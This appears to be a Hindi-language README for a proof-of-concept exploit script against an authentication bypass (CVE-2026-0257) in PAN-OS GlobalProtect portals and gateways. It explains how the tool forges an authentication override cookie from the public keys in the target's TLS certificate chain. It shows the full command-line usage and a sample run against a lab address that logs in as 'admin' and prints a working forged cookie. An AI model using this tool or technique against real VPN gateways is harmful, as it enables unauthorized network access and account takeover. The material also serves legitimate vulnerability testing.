
PAN-OS GlobalProtect प्रमाणीकरण बाईपास CVE-2026-0257 का लाभ उठाने के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट
PAN-OS GlobalProtect पोर्टल या गेटवे के लिए CVE-2026-0257 का परीक्षण करने हेतु एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट। यह स्क्रिप्ट HTTPS सेवा द्वारा उपयोग किए जाने वाले प्रमाणपत्र श्रृंखला पर पुनरावृत्ति करके एक मान्य प्रमाणीकरण ओवरराइड कुकी बनाने का प्रयास करेगी, और श्रृंखला में प्रत्येक सार्वजनिक कुंजी के लिए, एक नई प्रमाणीकरण ओवरराइड कुकी बनाएगी, और इसे GlobaProtect लक्ष्य के विरुद्ध परीक्षण करेगी कि यह मान्य है या नहीं।
एक सफलतापूर्वक बनाई गई कुकी GlobaProtect लक्ष्य में लॉगिन करेगी और VPN कनेक्शन जानकारी प्राप्त करेगी (निरीक्षण के लिए --verbose तर्क का उपयोग करें)।
$ python forge_cookie.py --help
usage: forge_cookie.py [-h] --target TARGET [--port PORT] [--user USER] [--domain DOMAIN] [--host-id HOST_ID]
[--client-os CLIENT_OS] [--client-ip CLIENT_IP] [--context {gateway,portal,both}] [--verbose]
Forge a GlobalProtect auth override cookie using the public key from TLS (CVE-2026-0257).
options:
-h, --help show this help message and exit
--target TARGET Target GlobalProtect portal or gateway (IP or hostname)
--port PORT Target port (default: 443)
--user USER Username to forge cookie for (default: admin)
--domain DOMAIN Domain for cookie (default: empty)
--host-id HOST_ID Host ID for cookie (default: empty)
--client-os CLIENT_OS
Client OS for cookie (default: Windows)
--client-ip CLIENT_IP
Client IP in cookie (default: 0.0.0.0)
--context {gateway,portal,both}
Context to test: gateway, portal, or both (default target)
--verbose Print full response
$ python forge_cookie.py --target 192.168.86.99
[*] Retrieving certificate chain from 192.168.86.99:443 ...
Found 2 certificate(s) in chain:
[0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
[1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)
[*] Forging cookie for user 'admin', testing each key
Trying [0] CN=192.168.86.99
[-] Failure - Gateway did not accepted the forged cookie
[-] Failure - Portal did not accepted the forged cookie
Trying [1] CN=GP-Lab-CA
[+] Success - Gateway accepted the forged cookie
Cookie: bvUbfM5n5rWnZp8tp3AIE8Q/v9L7rJSgRb1suYHHBedwBrfUr4pItrluBYtQ3VtmkF0AYXw9hyipzrMC5qg0JO+ZHuZpHLIFNfhergPGRbLFBkRk9sriFMuGiRU1q3bBSF7PzxDn+0dy0+fG4Wf7u+JD4qQEcw+tIgp9UKv0IhyFY9XxwzYdrQucA8P9zKRkGiEQpFwD776mONJKnHZTe+R+D/wy49ATBWETuhD2NP+7dB2IeSfV2eGBiZWTJcLAxXpQHcKRImhTGKlw9o4Frw+RBVqh9aCXCQ4yLYuAviabWpV94Fhp/3aPVTrLDCOrbBilsu6Men9oOT3+b8Uw2g==